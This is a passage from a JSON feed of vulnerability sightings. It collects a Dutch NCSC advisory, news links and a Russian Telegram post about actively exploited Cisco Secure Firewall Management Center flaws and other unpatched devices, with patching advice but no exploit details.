kwetsbaarheid met kenmerk CVE-2026-20079 bevindt zich in de webinterface van Cisco Secure Firewall Management Center. Een ongeauthenticeerde externe kwaadwillende kan de authenticatiecontroles omzeilen door een onjuist systeemproces dat bij het opstarten is aangemaakt te misbruiken. De kwaadwillende kan deze kwetsbaarheid misbruiken door speciaal geprepareerde HTTP-verzoeken naar een getroffen apparaat te sturen. Een succesvolle exploit kan de aanvaller in staat stellen verschillende scripts en commando\u2019s uit te voeren die root-toegang tot het apparaat mogelijk maken.\n\nDe kwetsbaarheid met kenmerk CVE-2026-20131 bevindt zich in de webinterface van Cisco Secure Firewall Management Center. Deze kwetsbaarheid stelt ongeauthenticeerde externe kwaadwillende in staat om willekeurige Java-code uit te voeren met root-rechten. De kwetsbaarheid wordt veroorzaakt door de onveilige deserialisatie van door de gebruiker aangeleverde Java-byte-stromen. Een kwaadwillende kan deze kwetsbaarheid misbruiken door een speciaal geprepareerd, geserialiseerd Java-object naar de webgebaseerde beheerinterface van een getroffen apparaat te sturen. Een succesvolle exploit kan de aanvaller in staat stellen om willekeurige code op het apparaat uit te voeren en de rechten te verhogen tot root-niveau.\n\nAls de beheerinterface van Cisco Secure Firewall Management Center geen publieke internettoegang heeft, wordt het aanvalsoppervlak verkleind. Het is niet gebruikelijk om een managementinterface direct publiekelijk aan het internet bloot te stellen.\n\nIndien jouw organisatie gebruikmaakt van Cisco Security Cloud Control Firewall Management, dan betreft dit een SaaS-dienst (Software-as-a-Service) die door Cisco Systems automatisch wordt bijgewerkt als onderdeel van regulier onderhoud. Er is in dat geval geen actie van de gebruiker vereist.\n\nHet NCSC verwacht op korte termijn een publieke PoC en grootschalige pogingen tot misbruik. Het NCSC adviseert met klem de update zo spoedig mogelijk te installeren.\n\nUpdate 19-03-26: \n\nUit onderzoek van Amazon threat intelligence blijkt dat CVE-2026-20131 vermoedelijk al sinds 26 januari actief is misbruikt voor het uitrollen van Interlock ransomware. Daarnaast is er inmiddels een publieke PoC verschenen voor kwetsbaarheid CVE-2026-20079. Het is daarom van groot belang om - indien dit nog niet gedaan is - te updaten naar de nieuwste versie van Cisco Secure Firewall Management Center.\n\n**UPDATE 11-09-26:**\nCisco meldt dat succesvolle exploitatie van de kwetsbaarheid met kenmerk CVE-2026-20079 is waargenomen. Organisaties wordt geadviseerd de updates van Csco direct toe te passen en kwetsbare systemen te controleren op aanwijzingen van misbruik. Raadpleeg de blog Talos voor aanvullende aanbevelingen.  \n**EINDE UPDATE**", "creation_timestamp": "2026-09-11T16:00:47.341287Z"}, {"uuid": "ba2d964d-c66e-46df-97a6-382b97dbe1a5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20131", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0076", "content": "Cisco heeft kwetsbaarheden verholpen in Cisco Secure Firewall Management Center.  De kwetsbaarheid met kenmerk CVE-2026-20079 bevindt zich in de webinterface van Cisco Secure Firewall Management Center. Een ongeauthenticeerde externe kwaadwillende kan de authenticatiecontroles omzeilen door een onjuist systeemproces dat bij het opstarten is aangemaakt te misbruiken. De kwaadwillende kan deze kwetsbaarheid misbruiken door speciaal geprepareerde HTTP-verzoeken naar een getroffen apparaat te sturen. Een succesvolle exploit kan de aanvaller in staat stellen verschillende scripts en commando\u2019s uit te voeren die root-toegang tot het apparaat mogelijk maken.\n\nDe kwetsbaarheid met kenmerk CVE-2026-20131 bevindt zich in de webinterface van Cisco Secure Firewall Management Center. Deze kwetsbaarheid stelt ongeauthenticeerde externe kwaadwillende in staat om willekeurige Java-code uit te voeren met root-rechten. De kwetsbaarheid wordt veroorzaakt door de onveilige deserialisatie van door de gebruiker aangeleverde Java-byte-stromen. Een kwaadwillende kan deze kwetsbaarheid misbruiken door een speciaal geprepareerd, geserialiseerd Java-object naar de webgebaseerde beheerinterface van een getroffen apparaat te sturen. Een succesvolle exploit kan de aanvaller in staat stellen om willekeurige code op het apparaat uit te voeren en de rechten te verhogen tot root-niveau.\n\nAls de beheerinterface van Cisco Secure Firewall Management Center geen publieke internettoegang heeft, wordt het aanvalsoppervlak verkleind. Het is niet gebruikelijk om een managementinterface direct publiekelijk aan het internet bloot te stellen.\n\nIndien jouw organisatie gebruikmaakt van Cisco Security Cloud Control Firewall Management, dan betreft dit een SaaS-dienst (Software-as-a-Service) die door Cisco Systems automatisch wordt bijgewerkt als onderdeel van regulier onderhoud. Er is in dat geval geen actie van de gebruiker vereist.\n\nHet NCSC verwacht op korte termijn een publieke PoC en grootschalige pogingen tot misbruik. Het NCSC adviseert met klem de update zo spoedig mogelijk te installeren.\n\nUpdate 19-03-26: \n\nUit onderzoek van Amazon threat intelligence blijkt dat CVE-2026-20131 vermoedelijk al sinds 26 januari actief is misbruikt voor het uitrollen van Interlock ransomware. Daarnaast is er inmiddels een publieke PoC verschenen voor kwetsbaarheid CVE-2026-20079. Het is daarom van groot belang om - indien dit nog niet gedaan is - te updaten naar de nieuwste versie van Cisco Secure Firewall Management Center.\n\n**UPDATE 11-09-26:**\nCisco meldt dat succesvolle exploitatie van de kwetsbaarheid met kenmerk CVE-2026-20079 is waargenomen. Organisaties wordt geadviseerd de updates van Csco direct toe te passen en kwetsbare systemen te controleren op aanwijzingen van misbruik. Raadpleeg de blog Talos voor aanvullende aanbevelingen.  \n**EINDE UPDATE**", "creation_timestamp": "2026-09-11T16:00:47.406014Z"}, {"uuid": "6044a628-2b04-491c-86af-e5ac15feb0c0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20316", "type": "seen", "source": "https://www.cert.se/2026/09/cert-se-veckobrev-v37.html", "content": "", "creation_timestamp": "2026-09-11T16:15:03.541808Z"}, {"uuid": "79c0375d-eec4-4d2f-96ce-3243419a861a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20079", "type": "seen", "source": "https://www.cert.se/2026/09/cert-se-veckobrev-v37.html", "content": "", "creation_timestamp": "2026-09-11T16:15:05.713644Z"}, {"uuid": "804bad03-ceb7-45a0-b8b7-20a6481e6f6c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-20079", "type": "seen", "source": "https://bsky.app/profile/thenewoil.org/post/3mvbeahvfmk22", "content": "#Cisco confirms CVE-2026-20079 #SecureFMC flaw exploited in attacks\n\nhttps://www.bleepingcomputer.com/news/security/cisco-confirms-cve-2026-20079-secure-fmc-flaw-exploited-in-attacks/\n\n#cybersecurity", "creation_timestamp": "2026-09-11T20:02:36.279707Z"}, {"uuid": "61685de2-06ac-4fd1-8f85-24db26d20d4a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20079", "type": "seen", "source": "https://bsky.app/profile/theperimetersite.bsky.social/post/3mvbgm36ymx2i", "content": "CISA put CVE-2026-20079 on the Known Exploited Vulnerabilities list on September 9, and if you're running a Cisco Secure Firewall Management Center (FMC) or Security Cloud Control (SCC), you've got a federal patch\u2026\n\n#vulnerability #infosec", "creation_timestamp": "2026-09-11T20:43:50.778493Z"}, {"uuid": "2affa95c-44b8-4261-9511-4b9005c5718c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20079", "type": "published-proof-of-concept", "source": "https://t.me/thehackernews/10029", "content": "\ud83d\udea8 Three threat clusters exploited Cisco FMC flaws to steal credentials, deploy Cyclops Blink, and push Qilin ransomware.\n\nBoth flaws are now in CISA\u2019s KEV catalog. Federal agencies must patch CVE-2026-20079 by September 12.\n\nInside the attack chains: https://thehackernews.com/2026/09/cisco-fmc-flaws-exploited-to-steal.html", "creation_timestamp": "2026-09-12T00:00:45.529016Z"}, {"uuid": "65d8922c-0a1d-4b9b-88c2-7ffd30aa35ba", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-20316", "type": "seen", "source": "https://bsky.app/profile/royans.bsky.social/post/3mvbs4lhuom2r", "content": "Cisco Secure Firewall Management Center FMC Vulnerability Chain Exploitation\n\nhttps://www.helpnetsecurity.com/2026/09/10/cisco-fmc-exploited-cve-2026-20079-cve-2026-20316\nhttps://flagthis.com/tldr/7247\n\n##Cisco ##ZeroDay ##Ransomware ##APT ##Vulnerability", "creation_timestamp": "2026-09-12T00:09:53.013524Z"}, {"uuid": "566aab67-3bb1-49e9-b707-af0691cc9a43", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20316", "type": "exploited", "source": "https://t.me/true_secator/8597", "content": "\u0411\u043e\u043b\u0435\u0435 36 000 \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432 Plex Media, \u043d\u0430\u0445\u043e\u0434\u044f\u0449\u0438\u0445\u0441\u044f \u0432 \u043e\u0442\u043a\u0440\u044b\u0442\u043e\u043c \u0434\u043e\u0441\u0442\u0443\u043f\u0435 \u0432 \u0438\u043d\u0442\u0435\u0440\u043d\u0435\u0442\u0435, \u043e\u0441\u0442\u0430\u044e\u0442\u0441\u044f \u043d\u0435\u0437\u0430\u0449\u0438\u0449\u0435\u043d\u043d\u044b\u043c\u0438 \u043e\u0442 \u043c\u043d\u043e\u0433\u043e\u0447\u0438\u0441\u043b\u0435\u043d\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0438 \u043f\u043e\u0434\u0432\u0435\u0440\u0436\u0435\u043d\u044b \u0430\u0442\u0430\u043a\u0430\u043c.\n\n\u041d\u0435\u0434\u0435\u043b\u044e \u043d\u0430\u0437\u0430\u0434 Plex \u043d\u0430\u0441\u0442\u043e\u044f\u0442\u0435\u043b\u044c\u043d\u043e \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0434\u0438\u043b\u0430 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 \u043d\u0435\u043c\u0435\u0434\u043b\u0435\u043d\u043d\u043e \u0437\u0430\u0449\u0438\u0442\u0438\u0442\u044c \u0441\u0432\u043e\u0438 \u043c\u0435\u0434\u0438\u0430\u0441\u0435\u0440\u0432\u0435\u0440\u044b\u00a0\u0432 \u0447\u0430\u0441\u0442\u0438 \u043f\u0440\u043e\u0431\u043b\u0435\u043c, \u0434\u043b\u044f \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0434\u043e \u0441\u0438\u0445 \u043f\u043e\u0440 \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u044e\u0442 \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440\u044b CVE.\n\n\u041f\u0440\u0438 \u044d\u0442\u043e\u043c \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u044f \u043d\u0435 \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u0438\u043b\u0430 \u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0445 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0435\u0439, \u043e\u0434\u043d\u0430\u043a\u043e \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e, \u0447\u0442\u043e \u0443\u043f\u043e\u043c\u044f\u043d\u0443\u0442\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0442 Plex Media Server \u0432\u0435\u0440\u0441\u0438\u0438 1.43.2 \u0438 \u0431\u043e\u043b\u0435\u0435 \u0440\u0430\u043d\u043d\u0438\u0445 \u0432\u0435\u0440\u0441\u0438\u0439.\n\n\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c \u0437\u0430\u0442\u0440\u043e\u043d\u0443\u0442\u044b\u0445 \u0432\u0435\u0440\u0441\u0438\u0439 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u043a\u0430\u043a \u043c\u043e\u0436\u043d\u043e \u0441\u043a\u043e\u0440\u0435\u0435 \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0438\u0442\u044c \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c \u0441\u0432\u043e\u0438\u0445 \u0441\u0438\u0441\u0442\u0435\u043c, \u043e\u0431\u043d\u043e\u0432\u0438\u0432 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u043d\u044b\u0439 Plex Media Server \u0434\u043e \u0432\u0435\u0440\u0441\u0438\u0438 1.43.3 (\u043e\u0442 19 \u043c\u0430\u044f) \u0438 Plex Desktop \u0434\u043e \u0432\u0435\u0440\u0441\u0438\u0438 1.115.0 (\u043e\u0442 13 \u0430\u0432\u0433\u0443\u0441\u0442\u0430).\n\n\u0412 \u043f\u044f\u0442\u043d\u0438\u0446\u0443 Shadowserver \u0437\u0430\u044f\u0432\u0438\u043b\u0430 \u043e \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u043e\u0441\u0442\u0438 \u0432 \u0441\u0435\u0442\u0438 \u0431\u043e\u043b\u0435\u0435 36 000 \u044d\u043a\u0437\u0435\u043c\u043f\u043b\u044f\u0440\u043e\u0432 Plex Media Server,\u00a0\u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0434\u043e \u0441\u0438\u0445 \u043f\u043e\u0440 \u043d\u0435 \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0438 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0439 \u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u044b \u0434\u043b\u044f \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0445 \u0430\u0442\u0430\u043a. \u041f\u0440\u0438 \u044d\u0442\u043e\u043c \u0434\u043e \u043d\u0430\u0441\u0442\u043e\u044f\u0449\u0435\u0433\u043e \u0432\u0440\u0435\u043c\u0435\u043d\u0438 Plex \u043d\u0435 \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u0438\u043b\u0430 \u043d\u0438\u043a\u0430\u043a\u0438\u0445 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0435\u0439 \u043e\u0431 \u044d\u0442\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u0445.\n\n\u041f\u043e\u043c\u0438\u043c\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 Plex \u0430\u043a\u0442\u0438\u0432\u043d\u0430\u044f (\u0438\u043b\u0438 \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u0430\u044f) \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u0442\u0430\u043a\u0436\u0435 \u043e\u0436\u0438\u0434\u0430\u0435\u0442 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 WatchGuard Firebox \u0438 Cisco.\n\n\u0412 \u043f\u0435\u0440\u0432\u043e\u043c \u0441\u043b\u0443\u0447\u0430\u0435 \u0440\u0435\u0447\u044c \u0438\u0434\u0435\u0442 \u043e \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043c\u0435\u0436\u0441\u0435\u0442\u0435\u0432\u043e\u0433\u043e \u044d\u043a\u0440\u0430\u043d\u0430, \u043a\u043e\u0442\u043e\u0440\u0443\u044e CISA \u0435\u0449\u0435 \u0432 \u0434\u0435\u043a\u0430\u0431\u0440\u0435 \u043e\u0442\u043c\u0435\u0442\u0438\u043b\u0430 \u043a\u0430\u043a \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u043c\u0443\u044e. \u0422\u0435\u043f\u0435\u0440\u044c \u0437\u0430 \u043d\u0435\u0435 \u043f\u0440\u0438\u043d\u044f\u043b\u0438\u0441\u044c \u0431\u0430\u043d\u0434\u044b \u0432\u044b\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u0435\u0439.\n\n\u041e\u043d\u0430 \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u043a\u0430\u043a\u00a0CVE-2025-14733\u00a0\u0438 \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 \u0437\u0430\u043f\u0438\u0441\u044c\u044e \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u044b \u0434\u043e\u043f\u0443\u0441\u0442\u0438\u043c\u043e\u0433\u043e \u0434\u0438\u0430\u043f\u0430\u0437\u043e\u043d\u0430,\u00a0\u0447\u0442\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043d\u0435\u0430\u0432\u0442\u043e\u0440\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u043a\u043e\u0434 \u0432 \u0430\u0442\u0430\u043a\u0430\u0445 \u043d\u0438\u0437\u043a\u043e\u0439 \u0441\u043b\u043e\u0436\u043d\u043e\u0441\u0442\u0438.\n\n\u0414\u0430\u043d\u043d\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u043c\u0435\u0436\u0441\u0435\u0442\u0435\u0432\u044b\u0435 \u044d\u043a\u0440\u0430\u043d\u044b, \u0440\u0430\u0431\u043e\u0442\u0430\u044e\u0449\u0438\u0435 \u043f\u043e\u0434 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435\u043c Fireware OS 11.x \u0438 \u0431\u043e\u043b\u0435\u0435 \u043f\u043e\u0437\u0434\u043d\u0438\u0445 \u0432\u0435\u0440\u0441\u0438\u0439 (\u0432\u043a\u043b\u044e\u0447\u0430\u044f 11.12.4_Update1), 12.x \u0438 \u0431\u043e\u043b\u0435\u0435 \u043f\u043e\u0437\u0434\u043d\u0438\u0445 \u0432\u0435\u0440\u0441\u0438\u0439 (\u0432\u043a\u043b\u044e\u0447\u0430\u044f 12.11.5), \u0430 \u0442\u0430\u043a\u0436\u0435 \u0432\u0435\u0440\u0441\u0438\u0439 2025.1\u20132025.1.3.\n\n\u0412 \u0434\u0435\u043a\u0430\u0431\u0440\u0435 WatchGuard\u00a0\u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0438 \u043e\u0442\u043c\u0435\u0442\u0438\u043b\u0430, \u0447\u0442\u043e \u043d\u0435\u0437\u0430\u0449\u0438\u0449\u0435\u043d\u043d\u044b\u0435 \u043c\u0435\u0436\u0441\u0435\u0442\u0435\u0432\u044b\u0435 \u044d\u043a\u0440\u0430\u043d\u044b Firebox \u0443\u044f\u0437\u0432\u0438\u043c\u044b \u0434\u043b\u044f \u0430\u0442\u0430\u043a \u0442\u043e\u043b\u044c\u043a\u043e \u0432 \u0442\u043e\u043c \u0441\u043b\u0443\u0447\u0430\u0435, \u0435\u0441\u043b\u0438 \u043e\u043d\u0438 \u043d\u0430\u0441\u0442\u0440\u043e\u0435\u043d\u044b \u043d\u0430 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 VPN IKEv2, \u043d\u043e \u043e\u0442\u043c\u0435\u0442\u0438\u043b\u0430, \u0447\u0442\u043e \u043e\u043d\u0438 \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u0441\u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u044b \u0434\u0430\u0436\u0435 \u043f\u043e\u0441\u043b\u0435 \u0443\u0434\u0430\u043b\u0435\u043d\u0438\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0445 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0439, \u0435\u0441\u043b\u0438 VPN-\u0441\u043e\u0435\u0434\u0438\u043d\u0435\u043d\u0438\u0435 \u0444\u0438\u043b\u0438\u0430\u043b\u0430 \u0441\u043e \u0441\u0442\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u043c \u0448\u043b\u044e\u0437\u043e\u043c \u0432\u0441\u0435 \u0435\u0449\u0435 \u043d\u0430\u0441\u0442\u0440\u043e\u0435\u043d\u043e.\n\nWatchGuard \u0442\u043e\u0433\u0434\u0430 \u0442\u0430\u043a\u0436\u0435 \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0434\u0438\u043b\u0430, \u0447\u0442\u043e \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438\u00a0\u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442 \u044d\u0442\u0443 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0443\u0441\u043b\u043e\u0432\u0438\u044f\u0445, \u0438 \u043f\u043e\u0434\u0435\u043b\u0438\u043b\u0430\u0441\u044c IOCs, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0438\u043c\u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c, \u0431\u044b\u043b\u0438 \u043b\u0438 \u0432\u0437\u043b\u043e\u043c\u0430\u043d\u044b \u0438\u0445 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430 Firebox.\n\nShadowserver \u0432 \u0434\u0435\u043a\u0430\u0431\u0440\u0435 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0430\u00a0\u0431\u043e\u043b\u0435\u0435 115 000 \u043d\u0435\u0437\u0430\u0449\u0438\u0449\u0435\u043d\u043d\u044b\u0445 \u043c\u0435\u0436\u0441\u0435\u0442\u0435\u0432\u044b\u0445 \u044d\u043a\u0440\u0430\u043d\u043e\u0432 Firebox \u0432 \u0441\u0435\u0442\u0438, \u0438 \u043f\u043e\u0447\u0442\u0438 9000 \u0438\u0437 \u043d\u0438\u0445 \u043e\u0441\u0442\u0430\u044e\u0442\u0441\u044f \u043d\u0435\u0437\u0430\u0449\u0438\u0449\u0435\u043d\u043d\u044b\u043c\u0438 \u0441\u043f\u0443\u0441\u0442\u044f \u0434\u0435\u0432\u044f\u0442\u044c \u043c\u0435\u0441\u044f\u0446\u0435\u0432.\n\n\u041f\u0440\u0438 \u0442\u043e\u043c, \u0447\u0442\u043e WatchGuard \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0443\u0441\u043b\u0443\u0433\u0438 \u0431\u043e\u043b\u0435\u0435 \u0447\u0435\u043c 250 000 \u043c\u0430\u043b\u044b\u043c \u0438 \u0441\u0440\u0435\u0434\u043d\u0438\u043c \u043f\u0440\u0435\u0434\u043f\u0440\u0438\u044f\u0442\u0438\u044f\u043c \u0447\u0435\u0440\u0435\u0437 \u0441\u0435\u0442\u044c, \u043d\u0430\u0441\u0447\u0438\u0442\u044b\u0432\u0430\u044e\u0449\u0443\u044e \u0431\u043e\u043b\u0435\u0435 17 000 \u0440\u0435\u0441\u0435\u043b\u043b\u0435\u0440\u043e\u0432 \u0438 \u043f\u043e\u0441\u0442\u0430\u0432\u0449\u0438\u043a\u043e\u0432 \u0443\u0441\u043b\u0443\u0433 \u0432 \u0441\u0444\u0435\u0440\u0435 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u043f\u043e \u0432\u0441\u0435\u043c\u0443 \u043c\u0438\u0440\u0443.\n\nCisco \u0442\u0430\u043a\u0436\u0435 \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0434\u0438\u043b\u0430, \u0447\u0442\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043c\u0430\u043a\u0441\u0438\u043c\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0443\u0440\u043e\u0432\u043d\u044f \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0441\u0442\u0438, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u043e\u0431\u043e\u0439\u0442\u0438 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044e \u0438 \u0438\u043c\u0435\u044e\u0449\u0430\u044f \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440 CVE-2026-20079, \u0432 \u0435\u0435 Secure Firewall Management Center (FMC) \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0432 \u0430\u0442\u0430\u043a\u0430\u0445.\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0438\u043c\u0435\u0435\u0442 \u043c\u0430\u043a\u0441\u0438\u043c\u0430\u043b\u044c\u043d\u044b\u0439 \u0431\u0430\u043b\u043b CVSS 10,0 \u0438 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043d\u0435\u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u044b\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u043e\u0431\u0445\u043e\u0434\u0438\u0442\u044c \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044e \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u0441\u043a\u0440\u0438\u043f\u0442\u044b \u0438 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u043e\u0442 \u0438\u043c\u0435\u043d\u0438 root \u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0445 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u0445.\n\n\u041a \u043d\u0430\u0441\u0442\u043e\u044f\u0449\u0435\u043c\u0443 \u0432\u0440\u0435\u043c\u0435\u043d\u0438 Cisco \u0442\u0430\u043a \u0438 \u043d\u0435 \u0441\u043e\u043e\u0431\u0449\u0438\u043b\u0430, \u043a\u043e\u0433\u0434\u0430 \u043d\u0430\u0447\u0430\u043b\u0438\u0441\u044c \u0430\u0442\u0430\u043a\u0438, \u043a\u0442\u043e \u0437\u0430 \u043d\u0438\u043c\u0438 \u0441\u0442\u043e\u044f\u043b \u0438 \u043a\u0430\u043a\u0438\u0435 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f \u0431\u044b\u043b\u0438 \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d\u044b \u043f\u043e\u0441\u043b\u0435 \u0438\u0445 \u043e\u0441\u0443\u0449\u0435\u0441\u0442\u0432\u043b\u0435\u043d\u0438\u044f.\n\n\u041f\u0440\u0438\u0447\u0435\u043c Cisco \u0437\u0430\u044f\u0432\u043b\u044f\u0435\u0442, \u0447\u0442\u043e \u0435\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u0430 \u043f\u043e \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0443\u0437\u043d\u0430\u043b\u0430 \u043e\u0431 \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0439 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 CVE-2026-20079 \u0435\u0449\u0435 \u0432 \u0430\u0432\u0433\u0443\u0441\u0442\u0435, \u0438\u043d\u0434\u0438\u043a\u0430\u0442\u043e\u0440\u044b \u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0430\u0446\u0438\u0438, \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u0432 